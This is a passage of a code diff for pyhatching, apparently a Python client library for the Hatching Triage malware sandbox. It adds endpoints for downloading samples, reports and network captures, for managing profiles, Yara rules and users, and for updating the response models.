f"/v0/samples/{_seg(sample_id)}/summary") - return None + async def urlscan_report( + self, sample: str, task: str = "urlscan1" + ) -> dict | base.ErrorResponse | None: + """Return a task's UrlScan report (GET /v0/samples/{id}/{task}/report_urlscan.json). - async def search( - self, query: str - ) -> list[base.SamplesResponse] | base.ErrorResponse: - """Search the Hatching Triage Sandbox for samples matching ``query``. - - See the Hatching Triage `docs`_ for how to search. + URL samples only. The report is returned as a dict because Hatching documents + its structure as externally managed and subject to change. + """ - Does not handle pagination yet, returns only the first 20 hits! + sample_id = await self.norm_sample(sample) + if sample_id is None: + return None - Parameters - ---------- - query : str - The query string to search for. + task = self._task(sample_id, task) + resp, resp_dict = await self._request( + "get", f"/v0/samples/{_seg(sample_id)}/{_seg(task)}/report_urlscan.json" + ) + if isinstance(resp_dict, dict) and "error" in resp_dict and resp.status >= 400: + return self.convert_resp(base.ErrorResponse, resp, resp_dict) + return resp_dict - Returns - ------- - list[base.SamplesResponse] - A list containing ``SamplesResponse`` objects for each successfully - returned sample. + async def magic_token(self, sample: str) -> str | base.ErrorResponse | None: + """Return a sample's magic link token (GET /v0/samples/{id}/magic). - .. _docs: https://tria.ge/docs/cloud-api/search/ + The token builds a shareable link: ``{url}/{sample_id}/magic/{token}``. + Magic links must be enabled for your organization, see ``set_magic_link``. """ - # TODO Handle pagination - params = {"query": query} + sample_id = await self.norm_sample(sample) + if sample_id is None: + return None - resp, resp_dict = await self._request("get", "/search", params=params) + resp, _ = await self._request("get", f"/v0/samples/{_seg(sample_id)}/magic", raw=True) + if resp.status >= 400: + err = await self._raw_error(resp) + if self.raise_on_api_err: + raise api_error(err) + return err + try: + text = await resp.text() + except (aiohttp.ClientError, TimeoutError) as exc: + raise errors.PyHatchingRequestError( + f"Error reading the magic token from Hatching Triage: {exc}" + ) from exc + finally: + resp.release() + try: + obj = jsonlib.loads(text) + except ValueError: + obj = text + if isinstance(obj, dict): + return obj.get("token") or obj.get("magic_token") or obj.get("magic") + return str(obj).strip() or None + + async def kernel_report( + self, sample: str, task: str, log: enums.KernelLogs | str | None = None + ) -> AsyncIterator[dict]: + """Yield the kernel monitor events of a task (GET /v0/samples/{id}/{task}/logs/{log}.json). - return self.convert_resp(base.SamplesResponse, resp, resp_dict) + Parameters + ---------- + sample : str + The sample ID. + task : str + The task name, ex. ``behavioral1``. + log : enums.KernelLogs | str | None, optional + The log's name (ex. ``onemon``). By default the overview report is used to + pick the log for the task's platform. + """ - async def submit_profile( - self, - name: str, - tags: list[str], - timeout: int | None, - network: enums.ProfileNetworkOptions | None, - ) -> None | base.ErrorResponse: - """Add a new sandbox analysis profile to your account. + sample = await self._stream_sample(sample) + task = self._task(sample, task) + if log is None: + report = await self.overview(sample) + if isinstance(report, base.ErrorResponse): + raise api_error(report) + for summary in (report.tasks if report is not None else None) or []: + if self._task(sample, summary.name or "") == task: + log = kernel_log_name(summary) + break + else: + raise errors.PyHatchingValueError(f"Task {task} does not exist for {sample}.") + + uri = f"/v0/samples/{_seg(sample)}/{_seg(task)}/logs/{_seg(_value(log))}.json" + async for event in self._iter_json_lines(uri): + yield event + + # ---- Files ---- + + def _file_uri(self, sample_id: str, task: str, filename: str) -> str: + task = self._task(sample_id, task) + return f"/v0/samples/{_seg(sample_id)}/{_seg(task)}/{quote(filename.lstrip('/'), safe='/')}" + + async def download_sample(self, sample: str) -> bytes | None: + """Download a sample's bytes by the given ID. Parameters ---------- - name : str - The name of the new profile, must not exist already. - tags : list[str] - The tags that match this profile to samples. - TODO find the documented options - timeout : int - The profiles timeout length in seconds. - network : enums.ProfileNetworkOptions - The network option for this analysis profile. + sample : str + The sample to download, this can be any of the following + as the value is passed to ``sample_id`` if needed to find the ID:: + + sample uuid, md5, sha1, sha2, ssdeep Returns ------- - None | base.ErrorResponse - None if successful, else ``base.ErrorResponse``. + bytes + The downloaded bytes. + None + If no bytes can be downloaded or the sample is not found. """ - data = {"name": name, "tags": tags, "timeout": timeout, "network": network} + sample_id = await self.norm_sample(sample) + if sample_id is None: + return None - resp, resp_dict = await self._request( - "post", "/profiles", json={k: v for k, v in data.items() if v is not None} - ) + return await self._bytes(f"/v0/samples/{_seg(sample_id)}/sample") - return self.convert_resp(base.HatchingProfileResponse, resp, resp_dict) + async def iter_sample(self, sample: str, chunk_size: int = CHUNK_SIZE) -> AsyncIterator[bytes]: + """Download a sample in chunks.""" - async def _write_rule(self, method: str, name: str, contents: str): - """A generic method to create/update a yara rule.""" + sample = await self._stream_sample(sample) + async for chunk in self._iter_bytes(f"/v0/samples/{_seg(sample)}/sample", chunk_size): + yield chunk - data = {"name": name, "rule": contents} + async def task_file(self, sample: str, task: str, filename: str) -> bytes | None: + """Download a file from a task (GET /v0/samples/{id}/{task}/{filename}). - if method == "put": - uri = f"/yara/{name}" - else: - uri = "/yara" + ``filename`` is a file the task produced, ex. ``dump.pcap``, ``dump.pcapng``, + ``screenshot.png`` (``urlscan1`` tasks), or the ``name`` of a file or memory dump + listed in a task report's ``dumped`` section (ex. ``files/file.exe``). + """ - resp, resp_dict = await self._request(method, uri, json=data) + sample_id = await self.norm_sample(sample) + if sample_id is None: + return None - if "error" in resp_dict: - return self.convert_resp(base.ErrorResponse, resp, resp_dict) + return await self._bytes(self._file_uri(sample_id, task, filename)) - return None + async def iter_task_file( + self, sample: str, task: str, filename: str, chunk_size: int = CHUNK_SIZE + ) -> AsyncIterator[bytes]: + """Download a file from a task in chunks, see ``task_file``.""" - async def submit_rule(self, name: str, contents: str) -> base.ErrorResponse | None: - """Submit a Yara rule to your account. + sample = await self._stream_sample(sample) + async for chunk in self._iter_bytes(self._file_uri(sample, task, filename), chunk_size): + yield chunk - Parameters - ---------- - name : str - The name of the rule - must not exist already. - contents : str - The contents of the Yara rule. + async def task_pcap(self, sample: str, task: str, pcapng: bool = False) -> bytes | None: + """Download a task's network capture, as a pcap or (with ``pcapng``) a pcapng.""" - Returns - ------- - base.ErrorResponse | None - None if successful, otherwise the returned ErrorResponse. + return await self.task_file(sample, task, "dump.pcapng" if pcapng else "dump.pcap") + + async def task_screenshot(self, sample: str, task: str = "urlscan1") -> bytes | None: + """Download a task's screenshot (GET /v0/samples/{id}/{task}/screenshot.png). + + URL samples only. """ - return await self._write_rule("post", name, contents) + return await self.task_file(sample, task, "screenshot.png") - async def _submit_sample( - self, - json: dict | None = None, - data: aiohttp.MultipartWriter | None = None, - ): - """Actually make the submit sample HTTP request.""" + def _archive_uri(self, sample_id: str, fmt: enums.ArchiveFormats | str) -> str: + fmt = _value(fmt) + if fmt not in ("tar", "zip"): + raise errors.PyHatchingValueError(f"Unknown archive format: {fmt}") + suffix = ".zip" if fmt == "zip" else "" + return f"/v0/samples/{_seg(sample_id)}/archive{suffix}" - resp, resp_dict = await self._request("post", "/samples", json=json, data=data) - return resp, resp_dict + async def sample_archive( + self, sample: str, fmt: enums.ArchiveFormats | str = enums.ArchiveFormats.TAR + ) -> bytes | None: + """Download an archive (tar or zip) of a sample's reports and files.""" - async def _submit_fetch( - self, - submit_req: base.SubmissionRequest, - ): - """Submit a file hosted at a URL for the sandbox to download and analyze.""" + sample_id = await self.norm_sample(sample) + if sample_id is None: + return None - return await self._submit_sample(json=submit_req.dict(exclude_none=True)) + return await self._bytes(self._archive_uri(sample_id, fmt)) - async def _submit_file( + async def iter_sample_archive( self, - submit_req: base.SubmissionRequest, - sample: bytes | pathlib.Path | str, - ): - """Submit a file to the sandbox for analysis.""" + sample: str, + fmt: enums.ArchiveFormats | str = enums.ArchiveFormats.TAR, + chunk_size: int = CHUNK_SIZE, + ) -> AsyncIterator[bytes]: + """Download an archive of a sample in chunks, see ``sample_archive``.""" - mpwriter = aiohttp.MultipartWriter() + sample = await self._stream_sample(sample) + async for chunk in self._iter_bytes(self._archive_uri(sample, fmt), chunk_size): + yield chunk - if isinstance(sample, bytes): - fpart = mpwriter.append(sample) + # ---- Resources, geolocations, and stats ---- - if not submit_req.target: - fhash = hashlib.md5(sample).hexdigest() - raise errors.PyHatchingValueError( - f"Must specify a filename when passing submitting bytes ({fhash})" - ) + async def get_resources(self) -> list[base.ResourceGroup] | base.ErrorResponse: + """List the available analysis environments (GET /v0/resources). - fpart.set_content_disposition( - "form-data", name="file", filename=submit_req.target - ) + A resource is an analysis environment for a specific OS, language, and + other specifics. Its ``tags`` can be used in profiles and submissions. + """ - else: - try: - with open(sample, "rb") as fd: - mpwriter.append(fd) - except OSError as err: - raise errors.PyHatchingFileError( - f"Unable to read {sample}: {err}" - ) from err + return await self._model(base.ResourceGroup, "get", "/v0/resources") - jpart = mpwriter.append(submit_req.json(exclude_none=True)) - jpart.set_content_disposition("form-data", name="_json") + async def get_geolocations(self) -> list[base.GeolocationGroup] | base.ErrorResponse: + """List the regions VPN-routed analyses can exit from (GET /v0/geolocations).""" - return await self._submit_sample(data=mpwriter) + return await self._model(base.GeolocationGroup, "get", "/v0/geolocations") - async def _submit_url(self, url: str): - """Submit a url to the sandbox for analysis.""" + async def user_stats(self) -> base.UsageStats | base.ErrorResponse: + """Return your usage statistics (GET /v0/stats/user).""" - return await self._submit_sample(json={"url": url}) + return await self._model(base.UsageStats, "get", "/v0/stats/user") - async def submit_sample( - self, - submit_req: base.SubmissionRequest, - sample: bytes | pathlib.Path | str | None, - ) -> base.SamplesResponse | base.ErrorResponse: - """Submit a sample to the sandbox based on the given ``SubmissionRequest``. + async def org_stats(self) -> base.UsageStats | base.ErrorResponse: + """Return your organization's usage statistics (GET /v0/stats/org).""" + + return await self._model(base.UsageStats, "get", "/v0/stats/org") + + # ---- Organization settings ---- + + async def get_org_settings(self) -> base.OrgSettings | base.ErrorResponse: + """Return your organization's settings (GET /v0/org/settings). + + Requires the ``manage_company`` permission. + """ + + return await self._model(base.OrgSettings, "get", "/v0/org/settings") + + async def set_magic_link(self, enabled: bool) -> None | base.ErrorResponse: + """Enable or disable magic link creation (PUT /v0/org/settings/magic). + + Requires the ``manage_company`` permission. See ``magic_token``. + """ + + return await self._empty("put", "/v0/org/settings/magic", json={"enabled": enabled}) + + # ---- Profiles ---- + + async def get_profile( + self, profile_id: str + ) -> base.HatchingProfileResponse | base.ErrorResponse: + """Get a sandbox analysis profile by either ID or name. Parameters ---------- - submit_req : base.SubmissionRequest - The object used to make the request - see this object for details. - sample : bytes | pathlib.Path | str - The local file path, url, or raw bytes, to submit to the sandbox. + profile_id : str + Either the ``id`` (UUID4) or the name of the profile. Returns ------- - base.SamplesResponse - If successful, the newly created sample object. + base.HatchingProfileResponse + If successful, the requested sandbox profile. base.ErrorResponse - If the API reports an error with the submission. + If there was an error. """ - if submit_req.kind == "file": - if sample is None: - raise errors.PyHatchingValueError( - "No file specified for file based submission." - ) - path = os.path.expandvars(os.path.expanduser(sample)) - resp, resp_dict = await self._submit_file(submit_req, path) - else: - if submit_req.url is None: - raise errors.PyHatchingValueError( - "No URL specified for url based submission." - ) - if submit_req.kind == "url": - resp, resp_dict = await self._submit_url(submit_req.url) - elif submit_req.kind == "fetch": - resp, resp_dict = await self._submit_fetch(submit_req) + return await self._model( + base.HatchingProfileResponse, "get", f"/v0/profiles/{_seg(profile_id)}" + ) - return self.convert_resp(base.SamplesResponse, resp, resp_dict) + async def get_profiles( + self, limit: int | None = None, offset: int | str | None = None + ) -> list[base.HatchingProfileResponse] | base.ErrorResponse: + """Get all sandbox analysis profiles for your account. - async def update_profile( + Returns + ------- + list[base.HatchingProfileResponse] + If successful, the requested sandbox profiles. + base.ErrorResponse + If there was an error. + """ + + return await self._model( + base.HatchingProfileResponse, + "get", + "/v0/profiles", + params={"limit": limit, "offset": offset}, + ) + + async def submit_profile( + self, + name: str, + tags: list[str], + timeout: int | None = None, + network: enums.ProfileNetworkOptions | str | None = None, + geolocation: str | None = None, + ) -> base.HatchingProfileResponse | base.ErrorResponse: + """Add a new sandbox analysis profile to your account. + + Parameters + ---------- + name : str + The name of the new profile, must not exist already. + tags : list[str] + The tags that match this profile to samples, ex. ``["windows10"]``. + timeout : int + The profiles timeout length in seconds. + network : enums.ProfileNetworkOptions + The network option for this analysis profile. + geolocation : str + The VPN region to exit from (see ``get_geolocations``), requires + ``network`` to be ``vpn``. + + Returns + ------- + base.HatchingProfileResponse | base.ErrorResponse + The new profile, or the error. + """ + + data = {"name": name, "tags": list(tags or []), "timeout": timeout, + "network": _value(network), "geolocation": geolocation} + data = {k: v for k, v in data.items() if v is not None} + + resp, resp_dict = await self._request("post", "/v0/profiles", json=data) + if not resp_dict and resp.status < 400: + # Some API versions return an empty object instead of the new profile. + return base.HatchingProfileResponse(resp_obj=resp, **data) + return self.convert_resp(base.HatchingProfileResponse, resp, resp_dict) + + async def update_profile( # pylint: disable=R0913 self, tags: list[str], timeout: int, - network: enums.ProfileNetworkOptions, + network: enums.ProfileNetworkOptions | str, name: str, profile_id: str, + geolocation: str | None = None, ) -> None | base.ErrorResponse: - """Update the given profile. + """Update the given profile (PUT /v0/profiles/{id}). - See `profile docs`_ for how this endpoint behaves, all args are required. - - Does not support name changes - only updating IDs in place. + See `profile docs`_ for how this endpoint behaves, the stored profile is + overwritten so all args (except ``geolocation``) are required. Parameters ---------- tags : list[str] - The tags that match this profile to samples (TODO find documented options). + The tags that match this profile to samples. timeout : int The profiles timeout length in seconds. network : enums.ProfileNetworkOptions The network option for this analysis profile. - name : str | None, optional - The name of the profile. Cannot be set if ``profile_id`` is. By default None. - profile_id : str | None, optional - The uuid4 of the profile. Cannot be set if ``name`` is. By default None. + name : str + The (new) name of the profile. + profile_id : str + The ID or current name of the profile to update. + geolocation : str, optional + The VPN region to exit from, requires ``network`` to be ``vpn``. Returns ------- None | base.ErrorResponse None if successful, otherwise a ``base.ErrorResponse``. - Raises - ------ - PyHatchingValueError - If both ``name`` and ``profile_id`` are not set. - Or if both parameters are set. - .. _profile docs: https://tria.ge/docs/cloud-api/profiles/ """ - data = {"name": name, "tags": tags, "timeout": timeout, "network": network} + data = {"name": name, "tags": list(tags or []), "timeout": timeout, + "network": _value(network), "geolocation": geolocation} - resp, resp_dict = await self._request( - "post", f"/profiles/{profile_id}", json=data + return await self._empty( + "put", + f"/v0/profiles/{_seg(profile_id)}", + json={k: v for k, v in data.items() if v is not None}, ) - return self.convert_resp(base.SamplesResponse, resp, resp_dict) + async def delete_profile(self, profile_id: str) -> None | base.ErrorResponse: + """Delete a profile by ID or name.""" + + return await self._empty("delete", f"/v0/profiles/{_seg(profile_id)}") + + # ---- Yara ---- + + async def get_rule(self, rule_name: str) -> base.YaraRule | base.ErrorResponse: + """Get a single Yara rule by name. + + Parameters + ---------- + rule_name : str + The name of the rule. + + Returns + ------- + base.YaraRule + If successful, the returned Yara rule. + """ + + return await self._model(base.YaraRule, "get", f"/v0/yara/{_seg(rule_name)}") + + async def get_rules(self) -> base.YaraRules | base.ErrorResponse: + """Get all Yara rules tied to your account. + + Returns + ------- + base.YaraRules + If successful, the returned Yara rules. + """ + + return await self._model(base.YaraRules, "get", "/v0/yara") + + async def _write_rule(self, method: str, name: str, contents: str): + """A generic method to create/update a yara rule.""" + + data = {"name": name, "rule": contents} + + if method == "put": + uri = f"/v0/yara/{_seg(name)}" + else: + uri = "/v0/yara" + + return await self._empty(method, uri, json=data) + + async def submit_rule(self, name: str, contents: str) -> base.ErrorResponse | None: + """Submit a Yara rule to your account. + + Parameters + ---------- + name : str + The name of the rule - must not exist already. + contents : str + The contents of the Yara rule. + + Returns + ------- + base.ErrorResponse | None + None if successful, otherwise the returned ErrorResponse. + """ + + return await self._write_rule("post", name, contents) async def update_rule(self, name: str, contents: str) -> base.ErrorResponse | None: """Update an existing Yara rule. @@ -809,3 +1440,83 @@ async def update_rule(self, name: str, contents: str) -> base.ErrorResponse | No """ return await self._write_rule("put", name, contents) + + async def delete_rule(self, name: str) -> base.ErrorResponse | None: + """Delete a Yara rule by name.""" + + return await self._empty("delete", f"/v0/yara/{_seg(name)}") + + # ---- Users (private instances) ---- + + async def get_users( + self, limit: int | None = None, offset: int | str | None = None + ) -> list[base.User] | base.ErrorResponse: + """List the users of your company (requires admin permissions).""" + + return await self._model( + base.User, "get", "/v0/users", params={"limit": limit, "offset": offset} + ) + + async def get_user(self, user_id: str) -> base.User | base.ErrorResponse: + """Get a user by ID (requires admin permissions).""" + + return await self._model(base.User, "get", f"/v0/users/{_seg(user_id)}") + + async def create_user( # pylint: disable=R0913 + self, + username: str | None = None, + email: str | None = None, + password: str | None = None, + first_name: str | None = None, + last_name: str | None = None, + permissions: list[str] | None = None, + name: str | None = None, + role: str | None = None, + email_confirmed: bool | None = None, + ) -> base.User | base.ErrorResponse: + """Create a user in your company (requires the manage_company permission). + + The API takes either a ``username`` (which can't contain ``@``) or an + ``email``, not both. ``first_name`` and ``last_name`` are deprecated by + the API in favor of ``name``. + """ + + if not username and not email: + raise errors.PyHatchingValueError("A username or email is required.") + + data = { + "username": username, + "email": email, + "email_confirmed": email_confirmed, + "password": password, + "name": name, + "first_name": first_name, + "last_name": last_name, + "role": role, + "permissions": permissions, + } + return await self._model( + base.User, "post", "/v0/users", json={k: v for k, v in data.items() if v is not None} + ) + + async def delete_user(self, user_id: str) -> None | base.ErrorResponse: + """Delete a user (requires admin permissions).""" + + return await self._empty("delete", f"/v0/users/{_seg(user_id)}") + + async def get_user_apikeys(self, user_id: str) -> list[base.ApiKey] | base.ErrorResponse: + """List the API keys of a user.""" + + return await self._model(base.ApiKey, "get", f"/v0/users/{_seg(user_id)}/apikeys") + + async def create_user_apikey(self, user_id: str, name: str) -> base.ApiKey | base.ErrorResponse: + """Create a new API key for a user.""" + + return await self._model( + base.ApiKey, "post", f"/v0/users/{_seg(user_id)}/apikeys", json={"name": name} + ) + + async def delete_user_apikey(self, user_id: str, name: str) -> None | base.ErrorResponse: + """Delete an API key of a user by its name.""" + + return await self._empty("delete", f"/v0/users/{_seg(user_id)}/apikeys/{_seg(name)}") diff --git a/src/pyhatching/_args.py b/src/pyhatching/_args.py index da0634c..f0906bd 100644 --- a/src/pyhatching/_args.py +++ b/src/pyhatching/_args.py @@ -120,6 +120,13 @@ "--sample", help="The sample id or hash to get a report on.", ) +REPORT_SAMPLES_PARSER.add_argument( + "-p", + "--path", + help="The path to save the overview report (JSON) to.", + type=pathlib.Path, + required=True, +) SUBMIT_SAMPLES_PARSER = SAMPLES_SUBPARSER.add_parser( "submit", description="Submit a file to the sandbox.", diff --git a/src/pyhatching/_cmds.py b/src/pyhatching/_cmds.py index 28ef7d3..6eed174 100644 --- a/src/pyhatching/_cmds.py +++ b/src/pyhatching/_cmds.py @@ -1,6 +1,5 @@ """Commands for the main func to dispatch.""" -import json from pydantic import ValidationError from . import PyHatchingClient @@ -10,7 +9,7 @@ def check_and_print_err(obj): """Check if obj is an ErrorResponse and print it before returning True, else False.""" if isinstance(obj, ErrorResponse): - print(f"{obj.error.value}: {obj.message}") + print(f"{obj.error}: {obj.message}") return True return False @@ -65,7 +64,7 @@ async def do_samples(client: PyHatchingClient, args): if check_and_print_err(report): return with open(args.path, "w") as fd: - fd.write(json.dumps(report, indent=2)) + fd.write(report.json(indent=2)) elif args.action == "submit": profile_args = {"profile": args.profile, "pick": args.pick} @@ -89,7 +88,7 @@ async def do_samples(client: PyHatchingClient, args): print(f"Unable to validate sample submission args: {err}") return sample = await client.submit_sample(submit_args, args.file) - if check_and_print_err(report): + if check_and_print_err(sample): return print(sample) @@ -132,8 +131,8 @@ async def do_yara(client: PyHatchingClient, args): print(ret) if args.action == "export": rules = await client.get_rules() - if check_and_print_err(rule): + if check_and_print_err(rules): return for rule in rules.rules: - with open(args.path + rule.name, "w") as fd: + with open(args.path / rule.name, "w") as fd: fd.write(rule.rule) diff --git a/src/pyhatching/base.py b/src/pyhatching/base.py index fc073e4..e2c2c0b 100644 --- a/src/pyhatching/base.py +++ b/src/pyhatching/base.py @@ -1,45 +1,100 @@ -"""Types for pyhatching.""" +"""Types for pyhatching. + +Every response model allows extra fields, so values the Hatching Triage API adds after +these models were written are kept (and dumped) instead of silently dropped. +""" import datetime from typing import Any, Optional -from pydantic import BaseModel, ConfigDict, Field # pylint: disable=E0611 +from pydantic import ( # pylint: disable=E0611 + AliasChoices, + BaseModel, + ConfigDict, + Field, +) from . import enums -class HatchingResponse(BaseModel): - """A response from the Hatching Triage API.""" +class TriageModel(BaseModel): + """The base of every pyhatching model, keeps unknown fields from the API.""" + + model_config = ConfigDict(extra="allow", populate_by_name=True) + + def dict(self, **kwargs: Any) -> dict: # pylint: disable=W0221 + """Dump the model to a dict, using field aliases (the API's names) by default.""" + + kwargs.setdefault("by_alias", True) + return self.model_dump(**kwargs) + + def json(self, **kwargs: Any) -> str: # pylint: disable=W0221 + """Dump the model to a JSON string, using field aliases by default.""" + + kwargs.setdefault("by_alias", True) + return self.model_dump_json(**kwargs) + + +class HatchingResponse(TriageModel): + """A response from the Hatching Triage API. - resp_obj: Any = None + ``resp_obj`` is the ``aiohttp.ClientResponse`` the model was built from, it is + never included when the model is dumped. + """ + + resp_obj: Any = Field(default=None, exclude=True, repr=False) class ErrorResponse(HatchingResponse): - """An error from the Hatching Triage API.""" + """An error from the Hatching Triage API. + + ``error`` is one of ``enums.ErrorNames`` for documented errors, but any string + the API returns is accepted. + """ - error: enums.ErrorNames - message: str + error: str + message: str = "" + status: Optional[int] = None + + +class SampleTask(TriageModel): + """A task (a single analysis) of a sample.""" + + id: str + status: Optional[str] = None + target: Optional[str] = None + pick: Optional[str] = None class SampleInfo(HatchingResponse): - """Sample metadata.""" + """Sample metadata, returned by GET /samples/{id}, search, and sample listings.""" id: str - status: enums.SubmissionStatuses - kind: enums.SampleKinds - private: bool - submitted: datetime.datetime + status: enums.SubmissionStatuses | str = Field(union_mode="left_to_right") + kind: enums.SampleKinds | str = Field(union_mode="left_to_right") + private: bool = False + submitted: Optional[datetime.datetime] = None + completed: Optional[datetime.datetime] = None filename: Optional[str] = None url: Optional[str] = None + tasks: Optional[list[SampleTask]] = None class SamplesResponse(SampleInfo): - """Response object for POST /samples.""" + """Response object for POST /samples (and the items of search results).""" + - completed: datetime.datetime +class SamplesPage(HatchingResponse): + """A single page of samples, from GET /samples or GET /search. + + ``next`` is the offset to request the next page with, ``None`` on the last page. + """ + data: list[SampleInfo] = Field(default_factory=list) + next: Optional[str] = None -class YaraRule(BaseModel): + +class YaraRule(HatchingResponse): """A yara rule.""" name: str @@ -50,37 +105,120 @@ class YaraRule(BaseModel): class YaraRules(HatchingResponse): """A list of yara rules.""" - rules: list[YaraRule] + rules: list[YaraRule] = Field(default_factory=list) + +class HatchingProfile(TriageModel): + """A Hatching Triage Sandbox analysis profile. -class HatchingProfile(BaseModel): - """A Hatching Triage Sandbox analysis profile.""" + ``geolocation`` picks the VPN region and requires ``network`` to be ``vpn``. + """ name: str - network: enums.ProfileNetworkOptions - timeout: int + network: enums.ProfileNetworkOptions | str = Field(default="", union_mode="left_to_right") + timeout: Optional[int] = None tags: list[str] = Field(default_factory=list) + geolocation: Optional[str] = None class HatchingProfileResponse(HatchingProfile, HatchingResponse): """A HatchingProfile but with `id` and `resp_obj` props.""" + id: Optional[str] = None + + +class User(HatchingResponse): + """A user of a (private) Hatching Triage instance. + + ``first_name`` and ``last_name`` are deprecated by the API in favor of ``name``. + """ + id: str + username: Optional[str] = None + name: Optional[str] = None + first_name: Optional[str] = None + last_name: Optional[str] = None + email: Optional[str] = None + email_confirmed_at: Optional[datetime.datetime] = None + created_at: Optional[datetime.datetime] = None + company_id: Optional[str] = None + role: Optional[str] = None + permissions: Optional[list[str]] = None + + +class ApiKey(HatchingResponse): + """An API key of a user.""" + + name: Optional[str] = None + key: Optional[str] = None + + +class Resource(TriageModel): + """An analysis environment (VM) for a specific OS, language, and other specifics.""" + + name: Optional[str] = None + tags: list[str] = Field(default_factory=list) + + +class ResourceGroup(HatchingResponse): + """A group of analysis environments, from GET /resources.""" + + resources: list[Resource] = Field(default_factory=list) + + +class Geolocation(TriageModel): + """A region VPN-routed analyses can exit from.""" + + name: Optional[str] = None + tags: list[str] = Field(default_factory=list) + + +class GeolocationGroup(HatchingResponse): + """A group of VPN geolocations, from GET /geolocations.""" + + geolocations: list[Geolocation] = Field(default_factory=list) + + +class UsageStats(HatchingResponse): + """Usage statistics (GET /stats/user and GET /stats/org).""" + + samples_submitted: Optional[int] = None -class HatchingRequest(BaseModel): +class MagicLinkSettings(TriageModel): + """The magic link settings of an organization.""" + + enabled: Optional[bool] = None + + +class OrgSettings(HatchingResponse): + """Organization settings (GET /org/settings), requires the manage_company permission.""" + + magic_link: Optional[MagicLinkSettings] = None + + +class HatchingRequest(TriageModel): """A request model sent to the Hatching Triage API.""" -class SubmissionRequestDefaults(BaseModel): - """Default sandbox paramaters for SubmissionRequest.""" +class SubmissionRequestDefaults(TriageModel): + """Default sandbox paramaters for SubmissionRequest. + + ``geolocation`` picks the VPN region and requires ``network`` to be ``vpn``. + """ timeout: Optional[int] = None - network: Optional[enums.SubmssionsRequestNetDefaults] = None + network: enums.SubmssionsRequestNetDefaults | str | None = Field( + default=None, union_mode="left_to_right" + ) + geolocation: Optional[str] = None -class HatchingProfileSubmission(BaseModel): - """A sandbox submission profile object.""" +class HatchingProfileSubmission(TriageModel): + """A sandbox submission profile object. + + ``profile`` is the name or ID of a profile, ``pick`` the file (in an archive) to run. + """ profile: Optional[str] = None pick: Optional[str] = None @@ -89,7 +227,30 @@ class HatchingProfileSubmission(BaseModel): class SubmissionRequest(HatchingRequest): """Request object for POST /samples. - TODO Document the params here as they aren't anywhere else. + Parameters + ---------- + kind + ``file`` to upload a file, ``url`` to analyze a URL in a browser, ``fetch`` + to have the sandbox download a file from ``url`` and analyze that, or + ``import`` to import a public Triage sample (its URL or ID in ``url``) + into a private instance. + url + The URL to analyze, fetch, or import - required for the ``url``, ``fetch``, + and ``import`` kinds. + target + The filename to give the sample, defaults to the uploaded file's name. + interactive + If true, the sample stops after static analysis until profiles are picked + with ``PyHatchingClient.set_sample_profile``. + password + The password of an encrypted archive. + profiles + The profiles to run the sample (or files in it) with. The sandbox picks + profiles automatically when this is empty. + user_tags + Your own tags (strings) for the sample. + defaults + The default ``timeout`` (seconds) and ``network`` for automatic profiles. """ kind: enums.SubmissionKinds @@ -102,10 +263,10 @@ class SubmissionRequest(HatchingRequest): defaults: Optional[SubmissionRequestDefaults] = None -class TaskSummary(BaseModel): +class TaskSummary(TriageModel): """The summary of a task.""" - sample: str + sample: Optional[str] = None kind: Optional[str] = None name: Optional[str] = None status: Optional[str] = None @@ -120,25 +281,28 @@ class TaskSummary(BaseModel): failure: Optional[str] = None queue_id: Optional[int] = None pick: Optional[str] = None + os: Optional[str] = None + timeout: Optional[int] = None + sigs: Optional[int] = None -class OverviewAnalysis(BaseModel): +class OverviewAnalysis(TriageModel): """Quick overview of analysis results.""" - score: int + score: Optional[int] = None family: Optional[list[str]] = None tags: Optional[list[str]] = None -class ReportedFailure(BaseModel): - """An API failure.""" +class ReportedFailure(TriageModel): + """An analysis failure.""" reason: str task: Optional[str] = None backend: Optional[str] = None -class TargetDesc(BaseModel): +class TargetDesc(TriageModel): """The description of a target (or analyzed object).""" id: Optional[str] = None @@ -153,11 +317,13 @@ class TargetDesc(BaseModel): sha1: Optional[str] = None sha256: Optional[str] = None sha512: Optional[str] = None + ssdeep: Optional[str] = None filetype: Optional[str] = None static_tags: Optional[list[str]] = None + user_tags: Optional[list[str]] = None -class Indicator(BaseModel): +class Indicator(TriageModel): """A single IOC hit of an analyzed sample.""" ioc: Optional[str] = None @@ -174,8 +340,8 @@ class Indicator(BaseModel): yara_rule: Optional[str] = None -class Signature(BaseModel): - """A Yara rule hit.""" +class Signature(TriageModel): + """A behavioral or Yara signature hit.""" label: Optional[str] = None name: Optional[str] = None @@ -188,7 +354,7 @@ class Signature(BaseModel): url: Optional[str] = None -class OverviewIOCs(BaseModel): +class OverviewIOCs(TriageModel): """An overview of the IOCs observed during analysis.""" urls: Optional[list[str]] = None @@ -196,42 +362,49 @@ class OverviewIOCs(BaseModel): ips: Optional[list[str]] = None -class Credentials(BaseModel): - """Credentials captured during analysis.""" +class Credentials(TriageModel): + """Credentials captured during analysis. - model_config = ConfigDict(populate_by_name=True) + The API names these ``username`` and ``password``. ``user`` and ``pass`` are + still accepted (and available as properties) for older pyhatching code. + """ - user: str - pass_: str = Field(alias="pass") + username: Optional[str] = Field( + default=None, validation_alias=AliasChoices("username", "user") + ) + password: Optional[str] = Field( + default=None, validation_alias=AliasChoices("password", "pass") + ) flow: Optional[int] = None protocol: Optional[str] = None host: Optional[str] = None port: Optional[int] = None email_to: Optional[str] = None - def dict(self, **kwargs: Any) -> dict: - """Custom dict to serialize ``pass_`` using its ``pass`` alias.""" + @property + def user(self) -> Optional[str]: + """The captured username (an alias of ``username``).""" + return self.username - kwargs.setdefault("by_alias", True) - return self.model_dump(**kwargs) + @property + def pass_(self) -> Optional[str]: + """The captured password (an alias of ``password``).""" + return self.password - def json(self, **kwargs: Any) -> str: - """Custom json that serializes ``pass_`` using its ``pass`` alias.""" - kwargs.setdefault("by_alias", True) - return self.model_dump_json(**kwargs) - - -class Key(BaseModel): +class Key(TriageModel): """A key observed during analysis.""" - kind: str - key: str - value: Any + kind: Optional[str] = None + key: Optional[str] = None + value: Any = None + +class Config(TriageModel): + """A malware samples's configuration extracted during analysis. -class Config(BaseModel): - """A malware samples's configuration extracted during analysis.""" + ``shellcode`` items are base64 strings, as the API returns them. + """ family: Optional[str] = None tags: Optional[list[str]] = None @@ -250,17 +423,17 @@ class Config(BaseModel): listen_addr: Optional[str] = None listen_port: Optional[int] = None listen_for: Optional[list[str]] = None - shellcode: Optional[list[bytes]] = None + shellcode: Optional[list[str]] = None extracted_pe: Optional[list[str]] = None credentials: Optional[list[Credentials]] = None - 